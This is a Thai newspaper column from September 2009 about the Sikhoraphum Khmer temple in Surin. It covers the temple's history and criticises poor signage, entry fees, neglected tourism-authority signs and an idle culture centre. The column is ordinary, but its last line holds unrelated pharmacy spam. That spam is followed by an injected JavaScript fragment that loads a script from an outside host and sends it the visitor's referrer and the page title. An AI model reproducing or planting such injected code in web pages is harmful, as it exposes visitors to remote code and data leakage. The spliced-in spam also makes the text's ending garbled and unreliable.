หนังสือพิมพ์มติชนฉบับวันอังคารที่ 8 กันยายน 2552

จากอุบลราชธานี เข้าศรีสะเกษจะไปสุรินทร์เพื่อกลับกรุงเทพฯ ผมเลือกเส้นทางผ่าน อ. ศีขรภูมิ จ. สุรินทร์ จะแวะเยี่ยมปราสาทศีขรภูมิ
แต่ไม่มีป้ายบอกทางเข้าปราสาทฯ บนเส้นทางจากศรีษสะเกษ เลยต้องวนหาหลายรอบ เวรกรรมของปราสาทศีขรภูมิ เพราะปกติไม่มีคนแวะเข้าไปหาอยู่แล้ว เมื่อไม่มีป้ายบอกทางให้เห็นแต่ไกล ก็เลยยิ่งไม่มีใครเลี้ยวเข้าไปดู

ปราสาทศีขรภูมิดูจากศิลปะสถาปัตยกรรมและจารึกอื่นๆแล้ว ผู้รู้ต่างบอกว่าควรสร้างขึ้นราวหลัง พ.ศ. 1600 ยุคเดียวกับนครวัด อันเป็นช่วงเวลาที่การค้าโลกรุ่งเรืองมาก และอารยธรรมขอมจากทางใต้ขยายอำนาจขึ้นทางเหนือทะเลสาบกัมพูชาเข้าไปในดินแดนอีสานอย่างคึกคักหนักแน่น บริเวณนี้ต้องเป็นบ้านเมืองขนาดใหญ่และสำคัญมาก ถึงมีปราสาทใหญ่โตขนาดนี้
ครั้นหลัง พ.ศ. 1800 ศาสนาการเมืองและการค้าเปลี่ยนจากเดิม พราหมณ์กับพุทธมหายานร่วงโรยลง ฝ่ายเถรวาทรุ่งเรืองขึ้นแทนที่ ทำให้บริเวณนี้โรยราไป
ราวหลัง พ.ศ. 2000 พวกลาวจากฝั่งซ้ายแม่น้ำโขงเคลื่อนย้ายทยอยหนีความขัดแย้งทางการเมือง มาตั้งหลักแหล่งทางฝั่งขวา จนถึงบริเวณปราสาท             ศีขรภูมิ เลยพากันลงหลักปักฐานอยู่ที่นี่ แล้วดัดแปลงบางส่วนของปราสาทให้เป็นไปตามระบบความเชื่อทางเถรวาทที่รับมาด้วย จึงพบร่องรอยบางอย่าง เช่น อักษรไทยน้อย ฯลฯ สลักไว้ที่ปราสาท
แวะมาที่ปราสาทศีขรภูมิเกือบทุกปี บางปีมา 2-3 ครั้งก็มี แต่ไม่เคยพบนักเดินทางท่องเที่ยวมาที่นี่เลยสักครั้ง และทุกครั้งสอบถามเจ้าหน้าที่ขายบัตรเข้าชม เขาตอบเหมือนกันทุกคราวว่าไม่มีคนแวะมา จะมีบ้างก็นานทีปีครั้ง
นี่เป็นนโยบายไม่เข้าท่าที่ผมเขียนคัดค้านมาแต่แรกเริ่มเมื่อนับสิบปีมาแล้ว เพราะให้เข้าดูฟรี ยังไม่มีคนเข้าดู แล้วยังจะมีหน้าดัดจริตเก็บค่าเข้าชมตามแบบตะวันตกอีก เลยไม่มีใครอยากเดินเฉียดมาใกล้
ผมเห็นป้ายของ ททท. (การท่องเที่ยวแห่งประเทศไทย)ปักอยู่หน้าทางเข้าปราสาทฯตั้งแต่แรกมีตัวอักษร จนตัวอักษรลบหายหมดนานนับปีแล้ว ไม่มีใครสนใจจะแก้ไขอะไรทั้งนั้น ถามคนเฝ้าเขาก็ว่ามี ททท. มาดูมาเห็นทุกปี แต่ไม่ได้แก้ไข ปล่อยให้รกรุ่มร่ามอยู่อย่างนั้น 2 อันคู่กัน เหมือนประจานความ“ทันสมัย  แต่ไม่พัฒนา” ของหน่วยงานเหล่านี้
ยังมีอาคารศูนย์วัฒนธรรม อ. ศีขรภูมิ หลังหนึ่งอยู่ด้านหน้าริมถนนผมเคยเห็นแต่แรกสร้างหลายปีมาแล้ว ยุคโอทอปของระบอบทักษิณ เปิดขายสินค้าพื้นเมืองแล้วไม่มีคนซื้อ เพราะไม่มีคนมาเที่ยว เลยต้องปิดตั้งแต่บัดนั้นจนบัดนี้มีโรงเรียนมาเปิดขายของปีละครั้งตอนงานช้าง เดือนพฤศจิกายน
นี่เท่ากับเป็น“อนุสรณ์สถานการก่อสร้างเพื่อแบ่งปันผลประโยชน์ของผู้บริหารท้องถิ่น”
ทางแก้ไขให้เป็นประโยชน์ต้องใช้งานอาคารหลังนี้เป็นที่แสดงความรู้ประวัติศาสตร์ความเป็นมาอย่างง่ายๆของปราสาทศีขรภูมิและท้องถิ่นนี้ จะมีพลังสร้างสรรค์ผลักดันให้เกิด Creative Thailand ได้ดีที่สุด
ปัญหาอยู่ที่กระทรวงวัฒนธรรมไม่มีคนทำเรื่องยากให้ง่าย จะมีก็แต่คนทำเรื่องง่ายให้ยาก แล้วยุ่งไปหมด

fluoxetine weekly cheap cialis jelly onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;